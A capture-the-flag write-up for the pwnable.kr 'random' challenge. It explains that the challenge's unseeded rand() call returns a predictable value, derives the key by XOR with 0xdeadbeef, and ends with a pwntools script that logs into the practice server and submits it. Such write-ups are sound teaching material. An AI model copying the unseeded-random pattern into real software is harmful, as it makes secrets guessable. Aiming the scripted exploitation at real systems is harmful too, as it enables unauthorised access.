pwnable.kr - random

Hi all, that was a really interesting challenge.

You can start playing there > pwnable.kr

Binary/Source Code - Enumeration/Reconnaissance

1
2
3
Daddy, teach me how to use random value in programming!

ssh random@pwnable.kr -p2222 (pw:guest)

First step we connect to pwnable.kr server, after we can see these files :

1
2
random@pwnable:~$ ls
flag  random  random.c

flag contains our flag, random is the binary that we have to exploit, random.c has the vulnerable code that we have to analyze.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>

int main(){
	unsigned int random;
	random = rand();	// random value!

	unsigned int key=0;
	scanf("%d", &key);

	if( (key ^ random) == 0xdeadbeef ){
		printf("Good!\n");
		system("/bin/cat flag");
		return 0;
	}

	printf("Wrong, maybe you should try 2^32 cases.\n");
	return 0;
}

Note: i dont code C, but i can understand C.

The problem lies here :

1
random = rand();

This code generates bad random numbers, when you call rand() without a seed it uses the value 1 as a default seed. Anyone else on the same machine with the same compiler who calls rand() with a seed of 1 will get the same random number. WOW dangerous.

So let’s code a simple C code to grab this random number. You can go under /tmp and create a directory.

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
int main() {
   unsigned int random;
   random = rand();  
   
   printf("%d\n", random);

   return 0;
}

Let’s compile it & run it.

1
2
3
4
5
6
7
8
9
10
11
random@pwnable:/tmp/atooom$ gcc -Wall exploit.c -o exploit
exploit.c: In function ‘main’:
exploit.c:4:13: warning: implicit declaration of function ‘rand’ [-Wimplicit-function-declaration]
    random = rand();  
             ^
random@pwnable:/tmp/atooom$ ./exploit
1804289383
random@pwnable:/tmp/atooom$ ./exploit
1804289383
random@pwnable:/tmp/atooom$ ./exploit
1804289383

Now, to grab the flag we have to do this :

1
1
(key ^ random) == 0xdeadbeef 

XOR operator explanation

^ = means XOR operation

For example :

1
2
3
4
0 ^ 0 = 0
0 ^ 1 = 1
1 ^ 0 = 1
1 ^ 1 = 0

We can do this with python pretty easy :

1
2
3
4
>>> 0 ^ 0
0
>>> 1 ^ 0
1

Exploitation

We can reverse this :

1
1
(key ^ random) == 0xdeadbeef 

To be :

1
(random ^ 0xdeadbeef) == key

Let’s do this with python.

1
2
>>> 1804289383 ^ 0xdeadbeef
3039230856

Let’s input this now :

1
2
3
4
random@pwnable:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...

pwntools exploit

I coded this exploit to automate the process :

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#context.log_level = 'debug'

def exploit():
    shell = ssh(host='pwnable.kr', user='random', password='guest', port=2222)
    exp = shell.process(executable='./random')
    exp.sendline(str(3039230856))
    exp.recvline()  # for "Good!"
    log.success(exp.recvline())

if __name__ == '__main__':
	exploit()